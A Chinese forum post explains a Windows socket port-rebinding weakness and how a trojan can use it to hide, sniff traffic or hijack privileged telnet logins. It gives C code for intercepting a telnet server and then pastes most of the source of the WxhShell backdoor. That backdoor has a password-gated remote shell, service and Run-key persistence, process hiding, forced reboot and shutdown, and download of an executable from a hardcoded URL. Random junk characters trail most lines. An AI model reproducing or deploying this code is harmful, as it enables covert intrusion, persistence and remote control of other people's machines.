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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D?jk$^p~m#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p(SRjQt  
JD>d\z2QC  
  saddr.sin_family = AF_INET; [ Mg8/Oy  
Ha>*?`?yI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gv15t'y9  
UK#&lim  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qKS;x@  
C z#Z<:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T4e\0.If  
JF9yVE-  
  这意味着什么?意味着可以进行如下的攻击: \b8sG"G  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~iBgw&Y  
>>dm }X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {X]R-1>  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pC,o2~%{  
2U kK0ls  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rf+:=|/_3  
RNVbcd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ` D7C?M#j]  
w^k;D,h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "tit\a6\(  
\h<BDk*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 89}Y5#W  
6Sj6i^"  
  #include ',7??Q7j&v  
  #include ?VU(Pq*`  
  #include .k{ j]{k  
  #include    u#7+U\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q~D`cc|]  
  int main() vY|^/[x#B  
  { z(uZF3  
  WORD wVersionRequested; MjfFf} @  
  DWORD ret; \/7i-B]G7  
  WSADATA wsaData;  oz'\q0  
  BOOL val; !M<{E*  
  SOCKADDR_IN saddr;  1iT\df  
  SOCKADDR_IN scaddr; 23(=Xp3;>  
  int err; 73A)lU.  
  SOCKET s; 31+;]W=  
  SOCKET sc; {Ee>n^1  
  int caddsize; B-.v0R`5  
  HANDLE mt; {@}?k s5  
  DWORD tid;   .Jb$l$5'w  
  wVersionRequested = MAKEWORD( 2, 2 ); b<I9 MR  
  err = WSAStartup( wVersionRequested, &wsaData ); zboF 1v`  
  if ( err != 0 ) { fJ*:{48  
  printf("error!WSAStartup failed!\n"); hw_JDv+  
  return -1; PALl sGlf  
  } C.:=lo B  
  saddr.sin_family = AF_INET; Vpfp}pL  
   #BK9 k>i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xynw8;Y ,  
0XwHP{XaO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jt~Qu-  
  saddr.sin_port = htons(23); 5pNY)>]t=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '+'CbWgY  
  { g3@Rl2yQJ  
  printf("error!socket failed!\n"); 3b'tx!tFN  
  return -1; ~wnOV#v  
  } 1xNVdI   
  val = TRUE; :R6bq!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,[p T4G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bok.j  
  { <BWkUZz\P|  
  printf("error!setsockopt failed!\n"); sGDV]~E  
  return -1; j;yf8Nf  
  } &MR/6"/s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z9 u$~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k?BJdg)xJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gsar[gZ  
FFhtj(hVgc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5/[H+O1;  
  { u/b7Z`yX}  
  ret=GetLastError(); 31^cz*V  
  printf("error!bind failed!\n"); <q)4la  
  return -1; 6Q4X 6U:WB  
  } T&Xl'=/  
  listen(s,2); >>l`,+y  
  while(1) qpoV]#iW  
  { %x; x_  
  caddsize = sizeof(scaddr); =M6[URZ  
  //接受连接请求 z_;3H,z`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "; [ iZ  
  if(sc!=INVALID_SOCKET) v4Zb? Yb  
  { }g +;y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :qhpL-ER  
  if(mt==NULL) 4:3rc7_ 1  
  { [@ <sFP;g  
  printf("Thread Creat Failed!\n"); >$677  
  break; >t,M  
  } %1 KbS [  
  } c97{Pu  
  CloseHandle(mt); uaw~r2  
  } o!TQk{0  
  closesocket(s); dCYCHHHF  
  WSACleanup(); Zt -1h{7  
  return 0; + Y.1)i}  
  }   h[KvhbD3   
  DWORD WINAPI ClientThread(LPVOID lpParam) 7T``-:`[  
  { @r(Z%j7  
  SOCKET ss = (SOCKET)lpParam; I-D^>\k+  
  SOCKET sc; xVB;s.'!  
  unsigned char buf[4096]; {3a&1'a0g  
  SOCKADDR_IN saddr; XKL3RMF9r  
  long num; 4nfu6Dq  
  DWORD val; )O+}T5c=  
  DWORD ret; lv0nEj8F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Mk<Vydds  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lLq<xf  
  saddr.sin_family = AF_INET; .%BT,$1K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eO=s-]mk  
  saddr.sin_port = htons(23); |rw%FM{F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N(6|yZ<J3M  
  { mM.*b@d-  
  printf("error!socket failed!\n"); >DM44  
  return -1; ?,P3)&3g  
  } <Tw>|cFT  
  val = 100; })xp%<`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p=GWq(S6  
  { TQX)?^Ft  
  ret = GetLastError(); ]  H~4  
  return -1; b2(RpY2Y  
  } a ?} .Fs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wZT%Ee\D%  
  { 8kE]_t  
  ret = GetLastError(); ;DA8B'^>  
  return -1; gwrYLZNGI  
  } p;)"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `=+^|Y}  
  { ]=rht9),"  
  printf("error!socket connect failed!\n"); hDP/JN8y  
  closesocket(sc); d4:`@*  
  closesocket(ss); WtQ8X|\`  
  return -1; 4EI7W,y  
  }  %R#L  
  while(1) .xzEAu;  
  { {u{@ jp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @}_WE,r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |@?%Ct  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !?f5>Bl  
  num = recv(ss,buf,4096,0); OV2 -8ERS  
  if(num>0) t- u VZ!`\  
  send(sc,buf,num,0); (2ur5uk+  
  else if(num==0) H~eRT1  
  break; !IU.a90V  
  num = recv(sc,buf,4096,0); o56`  
  if(num>0) cUqn<Z<n  
  send(ss,buf,num,0); -50 HB`t  
  else if(num==0) *D4hq=  
  break; V6$xcAE"</  
  } 0`.^MC?  
  closesocket(ss); ^m#-9-`  
  closesocket(sc); R_] {2~J+  
  return 0 ; iUMY!eqp  
  } K/m3  
VUTacA Y>L  
?7:KphFX)  
========================================================== mS>xGtD&K  
-aRU]kIf  
下边附上一个代码,,WXhSHELL 5tJ,7Y'  
jA".r'D%  
========================================================== kdz=ltw  
NC&DFJo  
#include "stdafx.h" A,i75kd  
iu**`WjI\  
#include <stdio.h> qQ\Y/}F  
#include <string.h> `&0Wv0D0  
#include <windows.h> ]v[|B  
#include <winsock2.h> T|&[7%F3"  
#include <winsvc.h> jVLA CWH  
#include <urlmon.h> ly% F."v  
JvYPC  
#pragma comment (lib, "Ws2_32.lib") !8 &=y  
#pragma comment (lib, "urlmon.lib") T5urZq*R  
86@c't@  
#define MAX_USER   100 // 最大客户端连接数 3mPjpm  
#define BUF_SOCK   200 // sock buffer :^UFiUzrE  
#define KEY_BUFF   255 // 输入 buffer ys_`e  
B1]bRxwn?  
#define REBOOT     0   // 重启  zYXV;  
#define SHUTDOWN   1   // 关机 vVGDDDz/  
_%'},Xd.z  
#define DEF_PORT   5000 // 监听端口 gTRF^knrY  
Uax+dl   
#define REG_LEN     16   // 注册表键长度 fEB7j-t  
#define SVC_LEN     80   // NT服务名长度 (E,T#uc{  
'B+ ' (f  
// 从dll定义API u3Gjg{-N7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  $R<Me  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nRd)++  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4|A>b})H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0$r^C6}f  
FP[!BUOf"  
// wxhshell配置信息 &A#~)i5gF  
struct WSCFG { rD>*j~_+P  
  int ws_port;         // 监听端口 !w BJ,&E  
  char ws_passstr[REG_LEN]; // 口令 TAjh"JJIV  
  int ws_autoins;       // 安装标记, 1=yes 0=no (EPsTox  
  char ws_regname[REG_LEN]; // 注册表键名 fs/*V~@  
  char ws_svcname[REG_LEN]; // 服务名 VDTcR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QMv@:Eo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bINvqv0v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d1[ZHio2c?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +r3IN){jz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8[6o (  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y qtKy  
o1nURJ!  
}; (8_\^jJ  
j,]Y$B  
// default Wxhshell configuration r$)w7Gk<  
struct WSCFG wscfg={DEF_PORT, mN8pg4  
    "xuhuanlingzhe", F R|&^j6  
    1, A'P(a`  
    "Wxhshell", Fl(T\-Eu  
    "Wxhshell", `y+tf?QN  
            "WxhShell Service", hy|b6wF&  
    "Wrsky Windows CmdShell Service", Z`YJBcXR  
    "Please Input Your Password: ", }i!J/tJ)b  
  1, Z|}G6]h  
  "http://www.wrsky.com/wxhshell.exe", w3jO6*_ M  
  "Wxhshell.exe" vq34/c^  
    }; =B. F;4 0  
!?Wp+e6  
// 消息定义模块 }@.|?2b +  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FLEo*9u>b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ||yzt!n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sp@-p9#  
char *msg_ws_ext="\n\rExit."; ]l8^KX'  
char *msg_ws_end="\n\rQuit."; -_$$Te  
char *msg_ws_boot="\n\rReboot..."; F2X0%te  
char *msg_ws_poff="\n\rShutdown..."; RejQ5'Neh  
char *msg_ws_down="\n\rSave to "; >LDhU%bH  
[=~pe|8:  
char *msg_ws_err="\n\rErr!"; o6$4/I  
char *msg_ws_ok="\n\rOK!"; EYA,hc  
.bio7c6  
char ExeFile[MAX_PATH]; 1^gl}^|B  
int nUser = 0; Z1"v}g  
HANDLE handles[MAX_USER]; hpU2  
int OsIsNt; 2;w*oop,O  
5h;+Ky!I  
SERVICE_STATUS       serviceStatus; ~Jf{4*>y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zXRlo]  
/hO1QT}xd  
// 函数声明 D= 7c(  
int Install(void); >t7x>_~   
int Uninstall(void); y+7PwBo%e  
int DownloadFile(char *sURL, SOCKET wsh); '(/7[tJ  
int Boot(int flag); y r,=.?C-  
void HideProc(void); u{L!n$D7  
int GetOsVer(void); <_Q1k>  
int Wxhshell(SOCKET wsl); d^`?ed\1  
void TalkWithClient(void *cs); }V\N16f  
int CmdShell(SOCKET sock); m^qBx A  
int StartFromService(void); H= X|h)  
int StartWxhshell(LPSTR lpCmdLine); zP<pEI  
<I;2{*QI2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZRYEqSm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n'emN Ra  
}\C-} Q  
// 数据结构和表定义 &\_iOw8  
SERVICE_TABLE_ENTRY DispatchTable[] = 4!KoFoZt*  
{ uG<}N=  
{wscfg.ws_svcname, NTServiceMain}, MHa#?Q9  
{NULL, NULL} *z7dl5xJ  
}; Dih3}X&jn$  
mx=BD'  
// 自我安装 vhhC> 7  
int Install(void) h yv2SxP*  
{ %Rsp;1Z  
  char svExeFile[MAX_PATH]; Sf8{h|71  
  HKEY key; !^ _ "~  
  strcpy(svExeFile,ExeFile); %.vVEy  
`/_G$_  
// 如果是win9x系统,修改注册表设为自启动 4ni3kmvX  
if(!OsIsNt) { M+x,opl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fgh]KQ/5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QPq7R  
  RegCloseKey(key); b6*!ACY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]~Z6;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0#MqD[U(  
  RegCloseKey(key); //aF5 :Y#  
  return 0; %'T #pz  
    } =)7s$ p  
  } LcE+GC  
} "]G\9b)   
else { AQ ='|%  
\Acqr@D  
// 如果是NT以上系统,安装为系统服务 Pfs;0}h5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >+[&3u  
if (schSCManager!=0) 2;?I>~  
{ L{c q, jk  
  SC_HANDLE schService = CreateService FLY Ca  
  ( ,`aq+K  
  schSCManager, FKmFo^^0  
  wscfg.ws_svcname,  Sr?#S  
  wscfg.ws_svcdisp, JwXT%op9RP  
  SERVICE_ALL_ACCESS, `[n(" 7,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , % $DI^yS  
  SERVICE_AUTO_START, +[tP_%/r'^  
  SERVICE_ERROR_NORMAL, uyY|v$FM  
  svExeFile, &@3H%DP}Ql  
  NULL, 5+wAzVA  
  NULL, |ely|U. Tf  
  NULL, vEn4L0D  
  NULL, 7>~5jYP  
  NULL of@#:Qs  
  ); jkvgoxY  
  if (schService!=0) tzh1s i  
  { nb>7UN.9  
  CloseServiceHandle(schService); =ha{Ziryo  
  CloseServiceHandle(schSCManager); ~ _!F01s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L/z),#  
  strcat(svExeFile,wscfg.ws_svcname); +U3m#Y)k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .e3+s*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S1?-I_t+]  
  RegCloseKey(key); H8On<C=  
  return 0; Z@$8I{}G  
    } `F>O;>i''  
  } ~JH:EB:  
  CloseServiceHandle(schSCManager); _hk.2FV:3m  
} T'b_W,m~,u  
} 6w@ Ii;  
10U9ZC  
return 1; Qg<(u?7N  
} .?hP7;hhI  
d09k5$=gJ  
// 自我卸载 cx0*X*  
int Uninstall(void) BGu?<bET  
{ a 7,C>%I  
  HKEY key; j ku}QM^  
/n8B,-Z5s5  
if(!OsIsNt) { '3 ^+{=q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HC}YY2  
  RegDeleteValue(key,wscfg.ws_regname); *VZ5B<Ic  
  RegCloseKey(key); r#B+(X7LM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kp,M"Y  
  RegDeleteValue(key,wscfg.ws_regname); -Zz$~$  
  RegCloseKey(key); w4d--[Q  
  return 0; .>IhN 5  
  } MHC^8VL  
} _> *j H'  
} !U~WK$BP  
else { $ <#KA3o\  
= MOj|NR [  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &HY+n) o  
if (schSCManager!=0) E2{FK)qT  
{  ({=gw9f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >lIk9|  
  if (schService!=0) PxS8 n?y  
  { !dC<4qZ\C  
  if(DeleteService(schService)!=0) { {7/0< N G  
  CloseServiceHandle(schService); Zc`BiLzrIG  
  CloseServiceHandle(schSCManager); GHeVp/u  
  return 0; `WH"%V:"Q  
  } <z!CDg4  
  CloseServiceHandle(schService); ksN+ ?E4w  
  } }I2@%tt?  
  CloseServiceHandle(schSCManager); fOMW"myQ  
} 6<ZkJ:=  
} o$Z6zmxO  
b^$|Nz;  
return 1; DY?Kfvef  
} |Xk4&sDrK  
jE/AA!DC#  
// 从指定url下载文件 }-sdov<<  
int DownloadFile(char *sURL, SOCKET wsh) +qwjbA+  
{ L-k@-)98  
  HRESULT hr; ynhmMy%  
char seps[]= "/"; V:c;-)(  
char *token; "PpN0Rr  
char *file; mA=i)Ga  
char myURL[MAX_PATH]; Oal3rb  
char myFILE[MAX_PATH]; Q{lpKe0  
z21|Dhiw&  
strcpy(myURL,sURL); /Bm( `T  
  token=strtok(myURL,seps); #Q`dku%V:  
  while(token!=NULL) >b{q.  
  { %eO0w a$a  
    file=token; ]3 l9:|  
  token=strtok(NULL,seps); k>g _Z`%<  
  } !GNBDRr  
EG=Sl~~o  
GetCurrentDirectory(MAX_PATH,myFILE); H,u<|UMM_  
strcat(myFILE, "\\"); e F3,2DD C  
strcat(myFILE, file); { >)#HD  
  send(wsh,myFILE,strlen(myFILE),0); G8Y<1%`<  
send(wsh,"...",3,0); % V8U (z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #I bp(  
  if(hr==S_OK) lH6OcD:kj  
return 0; +P`*kj-P\  
else rMhB9zB1  
return 1; pxh"B\"4*  
bq:(u4 3  
} I\$X/t +dH  
cbT7CG  
// 系统电源模块 Tap.5jHL  
int Boot(int flag) # a8B/-  
{ @-!}BUs?  
  HANDLE hToken; K$E3QVa  
  TOKEN_PRIVILEGES tkp; ZGKu>yM  
4QIX19{"  
  if(OsIsNt) { G%W8S \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /Y7<5!cS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PU^l.  
    tkp.PrivilegeCount = 1; n74V|b6W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ='Y!+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zp%Cr.)$  
if(flag==REBOOT) { c5D)   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "$N+"3I  
  return 0; Gf<'WQ[  
} ikv Wh<=>H  
else { Z*= $8 e@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I ,z3xU  
  return 0; `yH<E+   
} tAv@R&W,  
  } e(GP^oK  
  else { 9E"vN  
if(flag==REBOOT) { O%5 r[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &N\jG373  
  return 0; qfMo7e@6*  
} [8*jw'W|[  
else { l^pA2yh|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [8=vv7wS  
  return 0; )E-inHD /  
} AN/;)wc  
} :lPb.UCY  
n T{3o;A  
return 1; U$WxHYo  
} K|hjEQRv  
q$B>|y U  
// win9x进程隐藏模块 EkjN{$*  
void HideProc(void) O\"3J(y,  
{ xQ^E"Q,1  
YW( Qmo7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pH"#8O&  
  if ( hKernel != NULL ) \ b?" b  
  { vnM@QfN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rPLm5ni  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rLI8pA|.  
    FreeLibrary(hKernel); opy("qH  
  } yl7&5)b#9  
IJ(  
return; 8{^WY7.'  
} %)/P^9I6  
;kS&A(  
// 获取操作系统版本 ~&7MkkftM  
int GetOsVer(void) "J [K 3  
{ a!"$~y$*  
  OSVERSIONINFO winfo; 3W3ZjdV+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?"i}^B`*  
  GetVersionEx(&winfo); g" .are'7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o4K ~  
  return 1;  ]<cK";  
  else w1OI4C)~  
  return 0; O$&mFL[`  
} ,}EC F>  
&3J_^210  
// 客户端句柄模块 uao0_swW5  
int Wxhshell(SOCKET wsl) S~;4*7+?:  
{ b`~p.c%(  
  SOCKET wsh; w&o&jAb-M  
  struct sockaddr_in client; $Bs {u=+w  
  DWORD myID; )ttUWy$w  
,+meT`'vn  
  while(nUser<MAX_USER) 7Z\--=;|[:  
{ --%N8L;e  
  int nSize=sizeof(client); kt["m.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M42 Ssn)  
  if(wsh==INVALID_SOCKET) return 1; K1\a#w  
 @Z\,q's  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lyy W  
if(handles[nUser]==0) QgU8 s'e  
  closesocket(wsh); \eT5flC  
else bzuEfFaL  
  nUser++; ]|zp0d=&o  
  } QxVq^H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G MX?  
S+atn]eU@  
  return 0; Lvq>v0|  
} Y2ZT.l  
F`Q[6"<a  
// 关闭 socket uW@oyZUj  
void CloseIt(SOCKET wsh) zQ@I}K t  
{ m'6&9Ja k  
closesocket(wsh); #\.,?A}9  
nUser--; X(]WVCu  
ExitThread(0); _wkVwPr  
} |)b6>.^  
H%UL%l$  
// 客户端请求句柄 zr+zhpp  
void TalkWithClient(void *cs) LcB]Xdsa(  
{ 5_I->-<  
;#xmQi'`  
  SOCKET wsh=(SOCKET)cs; 4'`{H@]tb  
  char pwd[SVC_LEN];  \N!AXD  
  char cmd[KEY_BUFF]; [E!oQVY  
char chr[1]; K1r#8Q!t  
int i,j; ftvG\Tf  
+cgSC5nR  
  while (nUser < MAX_USER) { Y;@>b{s  
}XV+gyG=@  
if(wscfg.ws_passstr) { Z&1T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !}v=N";c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uxtWybv  
  //ZeroMemory(pwd,KEY_BUFF); n>+mL"hs  
      i=0; 6*B19+-  
  while(i<SVC_LEN) { kP#B5K_U|  
&x[E;P*Fg  
  // 设置超时 }!"A!~&  
  fd_set FdRead; Szq/hv=Q  
  struct timeval TimeOut; < Z{HX[y  
  FD_ZERO(&FdRead); L;VoJf  
  FD_SET(wsh,&FdRead); Co (.:z~  
  TimeOut.tv_sec=8; Q&wB$*u  
  TimeOut.tv_usec=0; v(B<Nb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HJXT9;w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !UG 7Uer  
4 N H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A+SE91m  
  pwd=chr[0]; Sp@^XmX(S  
  if(chr[0]==0xd || chr[0]==0xa) { ,&j hlZ i  
  pwd=0; a`&f  
  break; { /K.3  
  } WN{ 9  
  i++; cik!GA  
    } 4]G?G]lS>  
@wpN6 /   
  // 如果是非法用户,关闭 socket '(f&P=[b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <3xyjX'NE  
} x_| UPF  
4}_j`d/8|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @.b+av4J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A+::O@_s  
%_+2@\  
while(1) { M9V q -U18  
rR9|6l 3  
  ZeroMemory(cmd,KEY_BUFF); mef<=5t  
9o;^[Ql-  
      // 自动支持客户端 telnet标准   QrB@cK]  
  j=0; r"``QmM  
  while(j<KEY_BUFF) { tk!t Y8j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $FlW1E j  
  cmd[j]=chr[0]; Bg&i63XL$$  
  if(chr[0]==0xa || chr[0]==0xd) { U]^HjfX\  
  cmd[j]=0; <KE 1f7c  
  break; oFy=-p+C  
  } >TOu|r  
  j++; S0~2{ G"v  
    } OUeyklw  
q#vQv 5  
  // 下载文件 .q%WuQw  
  if(strstr(cmd,"http://")) { B8B; y^b>i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -R57@D>j\  
  if(DownloadFile(cmd,wsh)) q;<h[b?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :uWw8`  
  else \ ^ZlG.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R%Q@   
  } NWM8[dI  
  else { i\KQ!f>A  
DE%KW:Hug  
    switch(cmd[0]) { ~-EOjX(X'E  
  K[ (NTp$E  
  // 帮助 R]OpQ[k  
  case '?': { )z&/_E=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'NX```U0  
    break; .q9 $\wM/  
  } 7w'wjX-  
  // 安装 zUKmxy@  
  case 'i': { G '6@+$ppS  
    if(Install()) Qp/QaVQ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tav*+  
    else JsDpy{q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W#KpPDgZE  
    break; `Jzp Sw  
    } @&X|5p"[g  
  // 卸载 -7S g62THS  
  case 'r': { Ezr:1 GJ  
    if(Uninstall()) VY~yg*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +6';1Nb@  
    else &K.?p2$X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (vb SM}P  
    break; }o L'8-y  
    }  ~ ip,Nl  
  // 显示 wxhshell 所在路径 S-k8jm  
  case 'p': { Wn(6,MDUN  
    char svExeFile[MAX_PATH]; kO|L bQ@=q  
    strcpy(svExeFile,"\n\r"); oW<5|FaN  
      strcat(svExeFile,ExeFile); 9\/xOwR  
        send(wsh,svExeFile,strlen(svExeFile),0); K Pt5=a  
    break; byT h/H  
    } Olh<,p+x  
  // 重启 @&1ZB6OCb:  
  case 'b': { "br,/Dk>MX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pL{U `5S  
    if(Boot(REBOOT)) |962G1.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vm3v-=6  
    else { rd9e \%A  
    closesocket(wsh); =K6($|'=  
    ExitThread(0); XzIl`eH  
    } j#+!\ft5  
    break; S,Xnzrz  
    } B5X(ykaX~  
  // 关机 f6p-s y>  
  case 'd': { &Rvm>TC=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1XD,uoxB  
    if(Boot(SHUTDOWN)) a{R%#e\n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P %#<I}0C  
    else { EJsM(iG]~M  
